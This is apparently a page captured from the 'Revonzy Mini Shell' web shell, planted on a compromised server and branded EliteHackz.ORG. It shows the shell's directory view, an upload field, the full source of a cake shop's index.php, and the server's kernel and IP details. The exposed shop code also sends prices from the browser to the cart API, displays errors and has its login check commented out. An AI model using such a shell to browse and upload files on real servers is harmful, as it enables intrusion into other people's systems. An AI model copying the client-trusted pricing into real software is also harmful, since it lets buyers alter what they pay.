Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/public_html/cakedarbar.in/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/public_html/cakedarbar.in/index.php

<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

require_once("lib/functions.php");	
$db = new login_function();

$current_session_id =   session_id();

include("header.php");
// if(!isset($_SESSION['login_email']))
// {
//     header("Location:user-login.php");
// }

$db->update_conter_number();
?>
<!--<div class="slider_above_div"> -->
<!--</div>-->
<!--<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">-->
<html lang="en">
<link rel="stylesheet" href="css/toastr.min.css" />
<script>
let selectedWeight = {};
</script>
<div id="myCarousel" class="carousel slide" data-ride="carousel" style="padding:0px !important;height:auto !important;">
<div class="carousel-inner main_carousl" role="listbox" style="padding:0px;">
<?php
	$slider_img = $db->get_all_slider_images();
	if(!empty($slider_img))
	{
		$counter = 0; 
		foreach($slider_img as $record)
		{
			$id 	= $slider_img[$counter][0];
			$images = $slider_img[$counter][1];
			$links	= $slider_img[$counter][2];
?>
<div class="item <?php if($counter==0){ ?>active<?php } ?>" >
<img class="slide_it_img" src="advertise-images/<?php echo $images;?>" alt="First slide" />
</div>
 <?php
	$counter ++;
		}
	}else
	{
	?>
	<td colspan="4">No Data Found...</td>
	<?php
	}   
 ?>   
</div>

</div>

<div class="cart inblock" id="cart_block" >
<?php
		require('cartscount.php');
	?>
</div>
<div class="cart inblock" id="cart_block" >
<?php
		require('cartscount.php');
	?>
</div>	

<style>
  p {
    color: white;
    margin: 0px;
  }

  .sidebar {
    height: auto;
    width: 80px;
    position: fixed;
    text-align: center;
    top: 35vh;
    padding: 5px;
    padding-left: 0px;
    z-index: 9999;
    transition: width 0.5s; /* Added transition for smooth sliding */
    background-color: transparent !important;
    border-top-right-radius:8px;
    border-bottom-right-radius:8px;
  }

  p i {
    left: 30px;
    position: relative;
    vertical-align: middle;
    text-align: center;
    font-size: 24px;
  }

  .social {
    background-color: white !important;
    border: 1px solid #67d061;
    margin-bottom: 4px;
    padding:5px;
    border-radius: 10px;
    transition: width 0.3s; /* Added smooth hover effect transition */
  }


  .facebook1 {
    background-color: #3b5998;
  }

  .twitter1 {
    background-color: #4099FF;
  }

  .google1 {
    background-color: #DD4B39;
  }

  .sidebarimg {
    height: 30px;
    width: 30px;
  }
  
    @media (max-width: 480px) {
        .sidebar {
            width: 80px; 
            padding: 6px;
            border-radius:8px;
            box-shadow:1px 4px 4px 4px rgba(0,0,0,0.1);
        }
        .sidebarimg {
            height: 25px;
            width: 30px;
            margin-top:0px;
            background-color: transparent !important;
          }
          .social p
          {
              font-size:10px;
          }
    }
</style>

<!--<div class="sidebar">-->
<!--    <a href="#fruites_and_salad">-->
<!--      <div class="social facebook1">-->
<!--          <img class="sidebarimg" src="images/fruit.png" alt="Fruits Box"> -->
<!--          <p>Healthy Salads / Juice</p>-->
<!--      </div>-->
<!--    </a>-->
<!--    <a href="#fuites">-->
<!--    <div class="social twitter1">-->
<!--      <img class="sidebarimg" src="images/fruit (1).png" alt="Fruits"> -->
<!--       <p>Fruits</p>-->
<!--    </div>-->
<!--     </a>-->
<!--     <a href="#vegitables">-->
<!--      <div class="social google1">-->
<!--          <img class="sidebarimg" src="images/vegetables.png" alt="Vegetables">-->
<!--          <p>Vegetables</p>-->
<!--      </div>-->
<!--      </a>-->
<!--</div>-->

<!--content-->
<div class="content-top" style="padding-top:0.7em !important;">
<div class="container">

<div class="cta intro_page_home" style="margin-top:5px !important; line-height:24px;">
    <h3 style="color:Orangered !important;" class="main_page_intro_title">🍰Welcome To "Cake Darbar"🎂</h3>
    <hr style="margin:5px; border:1px dashed #EFEFEF;" />
                <p>🎂Your one-stop destination for delicious, freshly baked cakes in Solapur, Maharashtra.🍰</p>
                <p>🎊 Premium cakes for every occasion 🚚</p>
                <p>🕒 Free home delivery 🚚</p>
                <p>🕒 Custom designs to make your celebrations extra special</p>
                <p style="color:#25af0c; font-size:17px;" class="center_mob">📞 Order now via phone or online at www.cakedarbar.in and let us sweeten your special moments! 🎊</p>
                <br />
                <a href="tel:+91 8030199177" style="color:red; font-size:25px; background-color:transparent;">📞  +91 8030199177</a>
                
</div>

<!--<div class="cta intro_page_home">-->
<!--                <p>💻 <a href="http://www.sattvicyug.com">Shop Now</a> and experience a hassle-free way to incorporate health into your daily life.</p>-->
<!--                <p>🌟 Buy with us and enjoy exciting offers, discounts, farm-fresh quality, and a healthy lifestyle! 🌱</p>-->
<!--                <p>🕒 Save time, save fuel, and enjoy the convenience of fresh produce delivered to your doorstep! 🚚</p>-->
<!--                <p>Stay fresh. Stay healthy. Stay Sattvic! 🌿</p>-->
<!--</div>-->

<!--<div style="text-align:center; margin-top:15px;">-->
<!--    <input type="text" name="searchbox" placeholder="Search here" style="box-shadow:0px 0px 10px 0px #DFDFDF; width:70%; color:#000000; border:0px; padding:10px; font-size:18px;" />-->
<!--    <input type="submit" name="search_btn" class="search_btn_balaji" value="Search" />-->
<!--</div>-->
<!-- <br>-->
 <style>
 .intro_page_home
 {
    
 }
 .intro_page_home p
 {
     font-size:15px;
      font-weight:bold;
 }
 .col-md-2
{
    width:25%;
}
.main_page_intro_title
{
    margin:0px !important;
    margin-bottom:25px;
    color:#d21818 !important;
    text-transform:uppercase;
}
@media only screen and (max-width: 650px) {
.center_mob
{
    text-align:center;
    width:100%;
}
.col-md-2
{
    width:50%;
}
    .main_page_intro_title
    {
        font-size:18px;
    }
      .intro_page_home p
     {
         font-size:15px;
         text-align:left !important;
         padding:10px;
         line-height:22px;
         padding-bottom:0px;
         padding-top:8px;
     }
      .icon1 img {
        width: 100%;
        height: 120px !important;
    }
	
	.card1 h3
    {
        font-size:17px !important;
    }
    .card1 {
        width: 154px !important; /* Default width for larger screens */
    }
    
 }
 
    .container1 {
        display: flex;
        justify-content: center;
        align-items: center;
        gap: 10px;
        padding: 20px;
        flex-wrap: wrap;
    }
    
    .container1 a {
        color: red;
        text-decoration: none;
    }

    .card1 {
        background-color: white;
        border-radius: 8px;
        box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
        padding: 20px;
        text-align: center;
        width: 250px; /* Default width for larger screens */
        transition: transform 0.3s;
        cursor: pointer;
        margin-bottom: 15px; /* Space between cards */
    }

    .card1:hover {
        transform: translateY(-10px);
    }

    .icon1 {
        margin-bottom: 15px;
    }

    .icon1 img {
        width: 100%;
        height: 150px;
    }

    .card-fruits1, .card-vegetables1, .card-dairy1 {
        background-color: #fff;
    }

    h3 {
        font-size: 1.5em;
        margin-bottom: 10px;
        color: #333;
    }

    p {
        font-size: 1em;
        color: #000000;
    }
    .piece_tags
    {
        width:100%;
    }
    .cat_title_display_main
    {
        font-size:27px;
        border-top:2px solid #FFE5D4;
        border-bottom:2px solid #FFE5D4;
        text-transform:uppercase;
        color:Orangered !important;
        font-weight:bold;
        padding:6px;
        margin:auto;
    }
    @media (max-width: 480px) {
         .container1 {
        display: flex;
        justify-content: center;
        align-items: center;
        gap: 10px;
        padding: 0px;
        flex-wrap: wrap;
    }
    
        .card1 {
            width: 100px; 
        }
        .h31
        {
            margin-left:-14px;
        }
        h3 {
            font-size: 12px;
        }

        p {
            font-size: 10px; 
        }
    }
</style>

<br>

 <center>
      
        <div class="container1" style="background-color: aliceblue; padding-top:15px;">
            
            <h3 style="width:100%; margin:15px !important;" class="main_page_intro_title">🎂 Explore Our Variety of Cakes 🍰</h3>
            
            <div class="card1 card-fruits1" >
                <div class="icon1 icon-fruits1">
                    <img src="images/rainbow-cake.jpg" alt="Rainbow Cake">
                </div>
                <h3 class="h31">Rainbow Cakes</h3>
                <!--<h3 class="h31">Healthy Salads / Juice</h3>-->
            </div>

            <div class="card1 card-vegetables1">
                <div class="icon1 icon-vegetables1">
                    <img src="images/pinata-cake.jpg" alt="Pinata Cake">
                    
                </div>
                <h3>Pinata Cakes</h3>
            </div>

            <div class="card1 card-dairy1">
                <div class="icon1 icon-dairy1">
                    <img src="images/customized-cake.jpeg" alt="Customized Cake">
                </div>
                <h3>Customized Cakes</h3>
            </div>
            
            <div class="card1 card-dairy1">
                <div class="icon1 icon-dairy1">
                    <img src="images/dream-cake.png" alt="Dream Cake">
                </div>
                <h3>Dream Cakes</h3>
            </div>
            
        </div>
    </center>

<div class="order_time_notification">
    &#128226 Order One Day Before &#128226
</div>



<div class="tab-head" style="background-color:#fffbfb;">

<!--<center><h1 id="fruites_and_salad" class="cat_title_display_main">Fruit/Veg Salad Box</h1></center>-->

<div class=" tab-content tab-content-t">
<div class="tab-pane active text-style gallery" id="tab1">
<?php
$search = "";
$details = $db->fetch_product_by_tagsfor_fruite_box($search);
// print_r($details);
//$details = $db->fetch_search_product_by_search_name($search);

if(!empty($details))
{
    
$counter =0;
foreach($details as $record)
{
	$id				=	$details[$counter][0];
	$category		=	$details[$counter][1];
	$product_name	=	$details[$counter][2];
	$tags			=	$details[$counter][3];
	$description	=	$details[$counter][4];
	$actual_price	=	$details[$counter][5];
	$selling_price  =	$details[$counter][6];
	$home_delivery	=	$details[$counter][7];
	$unit	        =	$details[$counter][8];
	$serial_no      =	$details[$counter][9];
	$in_stock_status=	$details[$counter][10];
	
	$p_images		=	$db->fetch_product_images_by_product_id($id);
	
	$difference_amount = floatval($actual_price) - floatval($selling_price);
	//Discount percentage = (Discount/Marked price) x 100
	//Discount = 100 × (Original price - Discounted price) / Original price
 	$discount_percentage = round(100 * (floatval($actual_price) - floatval($selling_price)) / floatval($actual_price));
    
    // $discount_percentage = number_format((float)$discount_percentage, 2, '.', '');
	
?>
<div class="con-w3l" <?php if($in_stock_status=="Out of Stock") {  ?> style="-webkit-filter: grayscale(1);" <?php } ?>>
<div class="col-md-2 m-wthree">
    <?php
    //$discount_percentage = 1;
        if($discount_percentage>0)
        {
    ?>
    <span class="offer_percentage">-<?php echo $discount_percentage; ?>% Off</span>
    <?php
        }
    ?>
	<div class="col-m product_data_displ">	
	<!--<a href="product-display.php?tracking_id=<?php echo $id; ?>" style="text-decoration:none;">-->
		<div class="img_div_disp" style="overflow:hidden;">
		<img src="product/<?php echo $p_images; ?>" class="img-responsive prodcts" alt="" style="width:100% !important;">
		</div>
		<div class="mid-1" style="padding:0px;" id="product_<?php echo $id; ?>">
		    <div class="title_div">
		        
		        <div class="pr_title"><?php echo $product_name; ?></div>
		        <!--<span class="pr_description_t"><?php echo $category; ?></span>-->
		        
				<p style="font-size:17px; line-height:30px !important;">
				    
				<!--<span class="item_price" style="color:#BA3A2B; font-weight:bold;"> Offer Price : &#8377 <?php echo $selling_price; ?></span></p>-->
				<span class="item_price" id="offer_price_<?php echo $id; ?>" style="color:#000000; font-weight:bold;margin-right:15px;">Rs. <?php echo $selling_price; ?></span>
				<!--<span id="offer_price_<?php echo $id; ?>_2" style="text-decoration: line-through; color:#999999;">Rs. <?php echo $selling_price; ?></span>-->
				<span style="text-decoration: line-through; color:#999999; " id="Selling_price_<?php echo $id; ?>"> &#8377 <?php echo $actual_price; ?></span>
				<!--<span style="text-decoration: line-through; color:#999999; " > &#8377 <?php echo $actual_price; ?></span>-->
    </div>
<!--</a>-->
<div class="add">
<?php
	if($selling_price>0)
	{

        $display_text_1 = "";
        $display_text_2 = "";
        $display_text_3 = "";
        $display_text_4 = "";
        if($unit == '1 Piece / Nag')
        {
            $display_text_1 = "1 Piece";
            $display_text_2 = "2 Piece";
            $display_text_3 = "4 Piece";
            $display_text_4 = "8 Piece";
        }
        else if($unit == 'Pendi')
        {
            $display_text_1 = "1 पेंडी";
            $display_text_2 = "2 पेंडी";
            $display_text_3 = "4 पेंडी";
            $display_text_4 = "8 पेंडी";
        }
        else if($unit == 'Bottle')
        {
            $display_text_1 = "1 Bottle";
            $display_text_2 = "2 Bottle";
            $display_text_3 = "4 Bottle";
            $display_text_4 = "8 Bottle";
        }
        else
        {
            $display_text_1 = "500 Gms";
            $display_text_2 = "1 Kg";
            $display_text_3 = "2 Kg";
            $display_text_4 = "4 Kg";
        }
    ?>
    <input type="radio" id="control_1_01_<?php echo $counter; ?>" name="weight_1_<?php echo $counter; ?>" value="1" onclick="selectWeight(250, <?php echo $id; ?>); calculateOfferPrice250(<?php echo $selling_price; ?>,<?php echo $actual_price; ?>, <?php echo $id; ?>)"  data-weight="250" checked>
    <label class="price_tags" for="control_1_01_<?php echo $counter; ?>"><?php echo $display_text_1; ?></label>

<script>
    selectedWeight[<?php echo $id; ?>] = 250;
</script>

    <input type="radio" id="control_1_02_<?php echo $counter; ?>" name="weight_1_<?php echo $counter; ?>" value="2" onclick="selectWeight(500, <?php echo $id; ?>); calculateOfferPrice(<?php echo $selling_price; ?>,<?php echo $actual_price; ?>, <?php echo $id; ?>)" data-weight="500">
    <label class="price_tags" for="control_1_02_<?php echo $counter; ?>"><?php echo $display_text_2; ?></label>

    <input type="radio" id="control_1_03_<?php echo $counter; ?>" name="weight_1_<?php echo $counter; ?>" value="3" onclick="selectWeight(1000, <?php echo $id; ?>); calculateOfferPrice1kg(<?php echo $selling_price; ?>,<?php echo $actual_price; ?>, <?php echo $id; ?>)" data-weight="1000">
    <label class="price_tags" for="control_1_03_<?php echo $counter; ?>"><?php echo $display_text_3; ?></label>

    <input type="radio" id="control_1_04_<?php echo $counter; ?>" name="weight_1_<?php echo $counter; ?>" value="4" onclick="selectWeight(2000, <?php echo $id; ?>); calculateOfferPrice2kg(<?php echo $selling_price; ?>, <?php echo $actual_price; ?>,<?php echo $id; ?>)" data-weight="2000">
    <label class="price_tags" for="control_1_04_<?php echo $counter; ?>"><?php echo $display_text_4; ?></label>
    
<div style="width:100%; display:flex; position:static; margin-top:15px;text-align: center;" class="button-container" >
    <a class="minus_button1" onclick="minus_button1(<?php echo $id; ?>)">-</a>
    <!-- The input field for quantity is now identified uniquely by its product ID -->
    <input type="text" id="quantity_<?php echo $id; ?>" value="1" class="field" maxlength="2" readonly />
    <!-- The plus button is identified by its product ID -->
    <div class="plus_button1" id="plus_button_<?php echo $id; ?>" onclick="plus_button1(<?php echo $id; ?>)">+</div> 
    <br />
</div>
<?php
    if($in_stock_status=="Out of Stock")
    {
        ?>
        <button class="add_to_cart_btn1" class="out_of_stock_class" onclick="out_of_stock_class()" style="color:#ff8080; border:1px solid #fd8686; background:#fff0fa;">Out Of Stock</button>         
        <?php
    }
    else
    {
        ?>
            <button id="car_count" class="add_to_cart_btn1" onclick="addToCart(<?php echo $id; ?>, <?php echo $selling_price; ?>, <?php echo $actual_price; ?>, selectedWeight[<?php echo $id; ?>], '<?php echo $unit; ?>')">Add To Cart</button>         
        <?php
    }
?>
    
<?php
	}
	else{
		?>
		
		<a class="plus_button" href="product-display.php?tracking_id=<?php echo $id; ?>">View</a>
	
		<?php
	}
?>			  
			</div>
			</a>
		</div>
	</div>
</div>
</div>
<?php
$counter ++;


// if($counter==12)
// {
//     break;    
// }
}
}
?>
	<div class="clearfix"></div>
 </div>
</div>
</div>

<br><br>

<style>
.toast-top-right
{
    bottom:25px !important;
    left:20% !important;
}
.offer_percentage
{
    padding:0px 8px 0px 8px;
    background-color:#ff5581;
    color:white;
    position:absolute;
    z-index:1000;
}
section {
  display: flex;
  flex-flow: row wrap;
  font-weight:bold;
}
input[type="radio"] {
  display: none;
  &:not(:disabled) ~ label {
    cursor: pointer;
  }
  &:disabled ~ label {
    color: hsla(150, 5%, 75%, 1);
    border-color: hsla(150, 5%, 75%, 1);
    box-shadow: none;
    cursor: not-allowed;
  }
}
label {
  display: inline-table;
  background: white;
  border-radius: 20px;
  padding: 5px;
  text-align: center;
  /*box-shadow: 0px 3px 10px -2px hsla(150, 5%, 65%, 0.5);*/
  position: static !important;
  border:1px solid #DFDFDF;
}
input[type="radio"]:checked + label {
  /*background: hsl(321.75deg 63.58% 74.92%);*/
  border:1px solid #ff5581;
  color:#ff5581;
    

}
input[type="radio"]#control_05:checked + label {
  background: red;
  border-color: red;
}
@media only screen and (max-width: 700px) {
  section {
    flex-direction: column;
  }
}

</style>
<br />
<br />


<!--<center><a href="search.php?searchword=" class="btn_new">View All Products </a> </center>-->
</div>
<style>
    .about_cont {
            width: 80%;
            margin: 20px auto;
            padding: 20px;
            color:#333333 !important;
            line-height:25px;
            font-size:16px;
            text-decoration:none !important;
        }
        .about_cont p
        {
            color:#000000;
        }
        article p, ol, li {
            text-align:justify !important;
            color:#000000;
            
        }
        h1, h2 {
            color: #c9198e;
            font-size:20px;
            font-weight:bold;
        }
</style>
   <style>
       
       
        
        .header h1 {
            font-size: 2.5rem;
        }
        .header p {
            font-size: 1.2rem;
        }
        .content {
            margin-top: 30px;
        }
        .section {
            margin-bottom: 30px;
        }
        .section h2 {
            font-size: 1.8rem;
            color: #4CAF50;
        }
       
        .cta {
            text-align: center;
            margin-top: 20px;
        }
        .cta a {
            text-decoration: none;
            padding: 2px 2px;
            background-color: #4CAF50;
            color: white;
            font-size: 1.2rem;
            border-radius: 5px;
            transition: background-color 0.3s;
        }
        .cta a:hover {
            background-color: #45a049;
        }
    </style>


       <a href="tel:+91 8030199177" class="call_btn pulse"><img src="https://cdn-icons-png.flaticon.com/512/217/217887.png" style="height:50px;" /></a>

        <a href="https://wa.me/+918030199177?text=Hello Sattvic Yug" class="wppBtn pulse" target="_blank"></a>
        <style>
            .wppBtn {
              position: fixed;
              bottom: 20px;
              right: 25px;
              width: 50px;
              height: 50px;
              z-index: 999;
              max-width: 50px;
              max-height: 50px;
              background-size: cover;
              border-radius:60px;
              background-repeat: no-repeat;
              background-image: url(images/wp1.jpg);
            }
            
            .call_btn {
              position: fixed;
              bottom: 20px;
              right: 100px;
              width: 50px;
              height: 50px !important;
              z-index: 999;
              max-width: 50px;
              max-height: 50px;
              background-size: cover;
              background-repeat: no-repeat;
             
            }
            
            /* pulse */
            .pulse {position: fixed;}
            .pulse:after {
                content: "";
                display: block;
                width: 60px;
                height: 60px;
                border-radius: 40px;
                border: 3px solid #4caf50;
                position: absolute;
                top: -3px;
                left: -3px;
                animation: pulse 2s ease 0s infinite;
            }
            @keyframes pulse {
              0% {
                  opacity: 1;
                  transform: scale(1);
              }
              80% {
                  opacity: 0;
                  transform: scale(1.2);
              }
              100% {
                  opacity: 0;
                  transform: scale(2);
              }
            }
            .call_now_btn
            {
                width:60%;
            }
.cart_icon
{
    height: auto;
    width: 80px;
    position: fixed;
    text-align: center;
    bottom: 70px;
    right:5px;
    padding: 5px;
    padding-left: 0px;
    z-index: 9999;
    transition: width 0.5s; /* Added transition for smooth sliding */
    background-color: transparent !important;
    border-top-right-radius:8px;
    border-bottom-right-radius:8px;
}
.cart_img
{
    height:55px;
    width:55px;
}
#cart_count_display
{
    background-image:url('images/apple-cart-icon.png');
    background-repeat:no-repeat;
    background-size:100%;
    padding:5px;
    height:30px;
    width:30px;
    margin:auto;
    font-size:15px;
    font-weight:bold;
    color:#FFFFFF !important;
    margin-bottom:-20px;
}
            @media only screen and (max-width: 600px) {
              .call_now_btn
                {
                    width:80%;
                }
            }
            </style>         
            
            <a href="cart.php">
<div class="cart_icon">
    <div id="cart_count_display">
        <?php
            echo $count_of_carts = $db->get_count_of_carts_from_session_id($current_session_id);
        ?>
    </div><br />
    <img src="images/bag-cart-icon.png" class="cart_img" style="margin-top:-15px;" />
</div>
</a>
<?php
	include("footer.php");
?>
<!-- //footer-->

<div class="popup" id="popup">
  <span class="close-btn" id="close-btn">&times;</span>
  <img src="" alt="Zoomed Image" id="popup-img">
</div>
  <style>
     .button-container {
    display: flex;
    justify-content: center; 
    align-items: center;  
    margin-top: 15px;
    text-align: center;
  }
  .minus_button1,.plus_button1
  {
    background-color: #F1EFEA;
    width: 35px;
    height: 35px;
    padding: 3px;
    border-radius: 50px;
    border: 1px solid #ddd;
    font-size: 18px;
    font-weight: 800;
    cursor: pointer;
  }
  .field
  {
    width:40px; 
    height: 30px;
    margin-left: 5px;
    margin-right: 5px;
    font-size:18px !important; 
    font-weight:bold;
    text-align:center;
    background-color: #F1EFEA;
    border: none;
    outline: none;
    border-radius: 8px;
  }
  .add_to_cart_btn1
  {
    text-align: center;
    color: rgb(49, 134, 22);
    margin:auto;
    font-weight: 800;
    font-size: 15px;
    margin-top: 15px;
    background-color: #f3fff7;
    border:1px solid #32c24d;
    width: 70%;
    padding:7px;
    border-radius:8px;
    cursor:pointer;
  }
  .add_to_cart_btn1 a
  {
    color: rgb(49, 134, 22);
  }
    .gallery img:hover {
      transform: scale(1.1);
    }

    /* Popup box */
    .popup {
      display: none;
      position: fixed;
      top: 0;
      left: 0;
      width: 100%;
      height: 100%;
      background: rgba(0, 0, 0, 0.8);
      justify-content: center;
      align-items: center;
      z-index: 1000;
    }

    .popup img {
      max-width: 80%;
      max-height: 80%;
      box-shadow: 0 0 15px #fff;
    }

    .popup .close-btn {
      position: absolute;
      top: 20px;
      right: 20px;
      font-size: 24px;
      color: #fff;
      cursor: pointer;
    }
  </style>
  
<script>
  // JavaScript functionality
  const popup = document.getElementById('popup');
  const popupImg = document.getElementById('popup-img');
  const closeBtn = document.getElementById('close-btn');
  const images = document.querySelectorAll('.gallery img');

  images.forEach(img => {
    img.addEventListener('click', () => {
      popup.style.display = 'flex';
      popupImg.src = img.src;
    });
  });

  closeBtn.addEventListener('click', () => {
    popup.style.display = 'none';
  });

  // Close the popup when clicking outside the image
  popup.addEventListener('click', (e) => {
    if (e.target !== popupImg) {
      popup.style.display = 'none';
    }
  });
</script>

<!-- smooth scrolling -->
<script type="text/javascript">
$(document).ready(function() {
/*
var defaults = {
containerID: 'toTop', // fading element id
containerHoverID: 'toTopHover', // fading element hover id
scrollSpeed: 1200,
easingType: 'linear' 
};
*/								
$().UItoTop({ easingType: 'easeOutQuart' });
});
</script>
<a href="#" id="toTop" style="display: block;"> <span id="toTopHover" style="opacity: 1;"> </span></a>
<!-- //smooth scrolling -->
<!-- for bootstrap working -->
		<script src="js/bootstrap.js"></script>
<!-- //for bootstrap working -->
<script type='text/javascript' src="js/jquery.mycart.js"></script>

<script src="https://cdnjs.cloudflare.com/ajax/libs/toastr.js/latest/toastr.min.js"></script>
<!-- Calculate Offer price based on Amount and Kg -->
<script type="text/javascript">
    function calculateOfferPrice(sellingPrice,actual_price, productId) 
    {
         let offerPrice = sellingPrice * 2;
         let updatedActualPrice = actual_price * 2;
        // alert(offerPrice);
        // alert(productId);
        document.getElementById("offer_price_" + productId).innerHTML = "Rs. " + offerPrice;
        document.getElementById("Selling_price_" + productId).innerHTML = "Rs. " + updatedActualPrice;
    }
    
     function calculateOfferPrice250(sellingPrice,actual_price, productId) 
    {
        let offerPrice3 = sellingPrice;
        let updatedActualPrice1 = actual_price;
        // alert(offerPrice);
        // alert(productId);
        document.getElementById("offer_price_" + productId).innerHTML = "Rs. " + offerPrice3;
        document.getElementById("Selling_price_" + productId).innerHTML = "Rs. " + updatedActualPrice1;

    }


    function calculateOfferPrice1kg(sellingPrice,actual_price, productId) 
    {
        let offerPrice1 = sellingPrice * 4;
         let updatedActualPrice2 = actual_price * 4;

        // alert(offerPrice1);
        document.getElementById("offer_price_" + productId).innerHTML = "Rs. " + offerPrice1;
        document.getElementById("Selling_price_" + productId).innerHTML = "Rs. " + updatedActualPrice2;

    }

    function calculateOfferPrice2kg(sellingPrice, actual_price,productId) 
    {
        let offerPrice2 = sellingPrice * 8;
        let updatedActualPrice3 = actual_price * 8;

        // alert(offerPrice2);
        document.getElementById("offer_price_" + productId).innerHTML = "Rs. " + offerPrice2;
        document.getElementById("Selling_price_" + productId).innerHTML = "Rs. " + updatedActualPrice3;

    }
</script>

<script type="text/javascript">
  
     function calculateOfferPrice1_day(sellingPrice,actual_price, productId) 
    {
        let day_one_price = sellingPrice;
        let day_one_price_a_price = actual_price;
        // alert(offerPrice);
        // alert(productId);
        document.getElementById("offer_price1_" + productId).innerHTML = "Rs. " + day_one_price;
        document.getElementById("Selling_price1_" + productId).innerHTML = "Rs. " + day_one_price_a_price;

    }


    function calculateOfferPrice1_week(sellingPrice,actual_price, productId) 
    {
        let week_price = sellingPrice * 7;
         let week_price_ActualPrice2 = actual_price * 7;

        // alert(offerPrice1);
        document.getElementById("offer_price1_" + productId).innerHTML = "Rs. " + week_price;
        document.getElementById("Selling_price1_" + productId).innerHTML = "Rs. " + week_price_ActualPrice2;

    }

    function calculateOfferPrice15_days(sellingPrice, actual_price,productId) 
    {
        let day_fifteen_day = sellingPrice * 15;
        let day_fifteen_day_ActualPrice3 = actual_price * 15;

        // alert(offerPrice2);
        document.getElementById("offer_price1_" + productId).innerHTML = "Rs. " + day_fifteen_day;
        document.getElementById("Selling_price1_" + productId).innerHTML = "Rs. " + day_fifteen_day_ActualPrice3;

    }
     function calculateOfferPrice1_month(sellingPrice, actual_price,productId) 
    {
        let one_month_price = sellingPrice * 30;
        let one_month_price_ActualPrice3 = actual_price * 30;

        // alert(offerPrice2);
        document.getElementById("offer_price1_" + productId).innerHTML = "Rs. " + one_month_price;
        document.getElementById("Selling_price1_" + productId).innerHTML = "Rs. " + one_month_price_ActualPrice3;

    }
</script>
<script>
function plus_button1(productId) 
{
    var quantityInput = document.getElementById("quantity_" + productId);
    var currentQuantity = parseInt(quantityInput.value);
    currentQuantity += 1;
    if(currentQuantity>15)
    {
        currentQuantity = 15;
    }
    quantityInput.value = currentQuantity;
}

function minus_button1(productId) 
{
    var quantityInput = document.getElementById("quantity_" + productId);
    var currentQuantity = parseInt(quantityInput.value);
    currentQuantity -= 1;
    if(currentQuantity<1)
    {
        currentQuantity = 1;
    }
    quantityInput.value = currentQuantity;
}


function selectWeight(weight, productId) {
    if (selectedWeight[productId] && selectedWeight[productId] !== weight) {
        // Directly update the selected weight without confirmation
        selectedWeight[productId] = weight;
        console.log("You have selected " + weight + " Gms for Product ID " + productId);
    } else {
        selectedWeight[productId] = weight;
        console.log("You have selected " + weight + " Gms for Product ID " + productId);
    }
}


let selectedWeight1 = {};

function selectWeight1(weight, productId) {
    if (selectedWeight[productId] && selectedWeight[productId] !== weight) {
        // Directly update the selected weight without confirmation
        selectedWeight[productId] = weight;
        console.log("You have selected " + weight + " Gms for Product ID " + productId);
    } else {
        selectedWeight[productId] = weight;
        console.log("You have selected " + weight + " Gms for Product ID " + productId);
    }
}

window.onload = function() {
    let radios = document.querySelectorAll('input[name^="weight_"]');
    radios.forEach(function(radio) {
        if (radio.checked) {
            let weight = radio.getAttribute('data-weight');
            let productId = radio.name.split('_')[1];
            selectedWeight[productId] = weight;
            console.log("You have selected " + weight + " Gms for Product ID " + productId);
        }
    });
};

function addToCart(productId, sellingPrice, actualPrice, weight, unit) {
    let sellingPriceFinal = sellingPrice;
    let actualPriceFinal = actualPrice;
//alert(productId + "*" + sellingPrice + "*" + actualPrice + "*" + weight + "*" + unit);
    if (weight === 250) {
    } else if (weight === 500) {
        sellingPriceFinal *= 2;
        actualPriceFinal *= 2;
    } else if (weight === 1000) {
        sellingPriceFinal *= 4;
        actualPriceFinal *= 4;
    } else if (weight === 2000) {
        sellingPriceFinal *= 8;
        actualPriceFinal *= 8;
    }

    if (unit == '1 Piece') {
        weight = ''; 
    } else if (!unit && weight === '') {
        weight = 250; 
    }

    var quantityInput = document.getElementById("quantity_" + productId);
    var quantity = parseInt(quantityInput.value);
    if (isNaN(quantity) || quantity <= 0) {
        alert("Please enter a valid quantity.");
        return;
    }

    var currentSession = '<?php echo $current_session_id; ?>';
    var c_id = productId;

    $.ajax({
        type: "POST",
        url: "api/add_to_cart.php",
        data: {
            current_session: currentSession,
            c_id: c_id,
            qty: quantity,
            selling_price: sellingPriceFinal,
            actual_price: actualPriceFinal,
            weight: weight,
            unit: unit 
        },
        success: function(response) {
            $("#cart_count_display").text(response);
            toastr.warning("Item added to cart!", "Success");
        },
        error: function(jqXHR, textStatus, errorThrown) {
            toastr.error("An error occurred while adding the item to the cart. Please try again.", "Error");
        }
    });
}

function out_of_stock_class()
{
    toastr.error("This item stock not available for now.", "Error");
}


// function addToCart(productId,sellingPrice) 
// {
//     var quantityInput = document.getElementById("quantity_" + productId);
//     var quantity = parseInt(quantityInput.value);
//     var currentSession = '<?php echo session_id(); ?>';  
//     var c_id = productId;
//     var actualPrice = sellingPrice; 

//     $.ajax({
//         type: "POST",
//         url: "api/add_to_cart.php", 
//         data: {
//             current_session: currentSession,
//             c_id: c_id,
//             qty: quantity,
//             actual_price: actualPrice 
//         },
//         success: function(response) {
//             toastr.success("Item added to cart!", "Success");
//         },
//         error: function(jqXHR, textStatus, errorThrown) {
//             toastr.error("An error occurred while adding the item to the cart. Please try again.", "Error");
//         }
//     });
// }
</script>
</body>
</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4